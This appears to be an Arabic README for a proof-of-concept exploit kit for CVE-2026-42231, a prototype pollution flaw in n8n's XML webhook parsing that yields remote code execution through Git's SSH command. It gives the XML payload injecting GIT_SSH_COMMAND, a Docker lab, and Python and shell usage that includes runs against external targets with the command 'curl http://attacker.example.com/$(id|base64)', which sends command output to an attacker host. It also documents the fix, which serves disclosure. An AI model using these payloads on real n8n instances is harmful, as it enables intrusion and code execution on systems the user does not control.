
إثبات مفهوم لاستغلال CVE-2026-42231، وهي ثغرة حرجة في تلوث النماذج الأولية (prototype pollution) في خطافات الويب XML الخاصة بـ n8n تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. يتضمن مختبر Docker، ونص Python للاستغلال، وأداة تحقق بلغة Node.js.
CVE: CVE-2026-42231
الخطورة: حرجة (CVSS 10.0)
الإصدارات المتأثرة: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
تم الإصلاح في: n8n 1.123.32 / 2.17.4 / 2.18.1
يقوم packages/cli/src/middlewares/body-parser.ts بإنشاء كائن مفرد على مستوى الوحدة من محلل xml2js بدون tagNameProcessors أو attrNameProcessors. وهذا يسمح للمهاجم بإرسال جسم Webhook بتنسيق XML يحتوي على عنصر <__proto__>.
يستخدم xml2js 0.6.2 الدالة Object.defineProperty مع واصف بيانات لتعيين مفاتيح العناصر على الكائنات المُحلَّلة. ولأن يكون دائمًا ، فإن الدالة تغلّف القيمة في مصفوفة وتخزّنها كـ — متجاوزةً بذلك مُلحق الذي كان سيحدّث سلسلة النموذج الأولي بأمان.
'__proto__' in objtrueassignOrPush()[[Set]]تنجو خاصية __proto__ الخاصة بالكائن من JSON.stringify (التي تُنفَّذ عندما يحفظ n8n بيانات التنفيذ في SQLite/PostgreSQL)، وبعد JSON.parse عند إعادة التحميل، يقوم Object.assign(target, reloadedBody) لاحقًا بإعادة توجيه النموذج الأولي لـ target إلى الكائن الذي يتحكم فيه المهاجم.
في سير العمل التي تحتوي أيضًا على عقدة Git تنفذ عملية SSH، يكشف النموذج الأولي الملوَّث قيمة spawnOptions / GIT_SSH_COMMAND إلى createInstanceConfig في simple-git، مما يتيح تنفيذ أوامر على مستوى نظام التشغيل.
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // lowercases tags — but does NOT block __proto__
explicitArray: false,
// ← NO tagNameProcessors
// ← NO attrNameProcessors
});
الإصلاح (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. يرسل المهاجم طلب POST بتنسيق XML إلى مشغل Webhook عام:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. يقوم محلل جسم xml2js بإنشاء req.body.root حيث تكون '__proto__'
خاصية بيانات قابلة للتعداد خاصة بالكائن:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. تقوم deepCopy() في n8n بالتكرار عبر المفاتيح الخاصة باستخدام
for...in + hasOwnProp.
التعيين clone['__proto__'] = deepCopy(attackerArray)
يستبدل بصمت نموذج clone الأولي عبر مُلحق [[Set]].
4. يقوم n8n بتسلسل بيانات التنفيذ إلى قاعدة البيانات:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
يتم تضمين مفتاح __proto__ لأنه خاص وقابل للتعداد.
تم التأكيد في جدول execution_data في SQLite.
5. عند إعادة التحميل، يعيد JSON.parse إنشاء '__proto__' كخاصية بيانات خاصة
(كائن عادي، بدون تغليف بمصفوفة).
Object.assign(gitOptions, reloadedBody)
يعيد توجيه النموذج الأولي لـ gitOptions إلى الكائن الذي يتحكم فيه المهاجم.
6. عندما تستدعي عقدة Git الدالة simpleGit(gitOptions):
createInstanceConfig(gitOptions)
يقرأ config.spawnOptions عبر سلسلة النموذج الأولي → قيمة حقيقية →
يتم تسجيل spawnOptionsPlugin.
مع وجود GIT_SSH_COMMAND في كائن env، ينفذ git أمر المهاجم
في عملية SSH التالية.
normalizeTagsيعمل normalizeTags: true على تحويل جميع أسماء علامات XML إلى أحرف صغيرة، لذا فإن العناصر الفرعية مثل <GIT_SSH_COMMAND> تصبح git_ssh_command في الكائن المُحلَّل. للحفاظ على حالة الأحرف لأسماء متغيرات البيئة، استخدم سمات XML (أسماء السمات لا يتم تطبيعها بواسطة normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
يقوم هذا بسحب n8nio/n8n:1.123.22 (آخر إصدار متأثر)، وبناء صورة المهاجم، وتشغيل الهدف الضعيف على http://localhost:5678، وإنشاء وتفعيل سير عمل webhook تلقائيًا، وحفظ عنوان URL الخاص بالـ webhook في .webhook_state.
./exploit.sh setup
المخرجات المتوقعة (مقتطفة):
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.
Run: ./exploit.sh demo # verify the pollution primitive
./exploit.sh exploit # deliver all three RCE payloads
./exploit.sh demo
يرسل الـ PoC حمولة تحقق ويعرض الكائن المُحلَّل كما يعكسه سير عمل n8n. النسخة الضعيفة تُرجع:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# أو بأمر مخصص:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
يتم تسليم ثلاث حمولات تكميلية:
| الحمولة | التقنية |
|---|---|
| A | علامة <__proto__> — GIT_SSH_COMMAND كسمة XML |
| B | سلسلة <constructor><prototype> |
| C | <__proto__> متداخل مع سمات env |
GIT_SSH_COMMAND المحقون إذا تم تنفيذ RCE."step4_objectAssignPolluted": true مما يؤكد السلسلة.pip install -r requirements.txt
# تحقق فقط — بدون الحاجة لعقدة Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--demo
# استغلال كامل — يتطلب سير عمل Webhook + Git/SSH node:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
في بعض النشرات، يسجل n8n الـ webhook كـ /webhook/<workflowId>/webhook/<path>. إذا كان النموذج القصير /webhook/<path> يُرجع 404، مرر بادئة معرف سير العمل كـ --target:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <path> \
--demo
يعيد إنتاج إعداد محلل xml2js الدقيق المستخدم في n8n ويتنقل عبر جميع مراحل السلسلة الأربع:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
المخرجات المتوقعة على الإعداد الضعيف:
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] If target is used as simpleGit config AND the prototype exposes
e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══
# بناء صورة المهاجم
docker build -t n8n-proto-pollution-poc .
# وضع العرض (الاتصال بشبكة المختبر المشتركة)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# استغلال كامل
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# ضد هدف خارجي (بدون الحاجة لعلم الشبكة)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <path> \
--demo
./exploit.sh clean
يوقف الحاويات ويزيل وحدات التخزين (بما في ذلك قاعدة بيانات SQLite).
| الملف | الوصف |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | PoC مستقل بلغة Python عبر HTTP — ثلاثة متغيرات لحمولة XML، أوضاع --demo و --cmd |
verify_GHSA-q5f4-99jv-pgg5.js | أداة تحقق محلية بسلسلة Node.js — تتنقل عبر جميع مراحل الاستغلال الأربع بدون نسخة حية |
Dockerfile | صورة حاوية المهاجم |
docker-compose.yml | مختبر كامل: n8n ضعيف + حاوية المهاجم |
exploit.sh | سكربت مساعد للإعداد والعرض والاستغلال والتنظيف |
requirements.txt | تبعيات Python |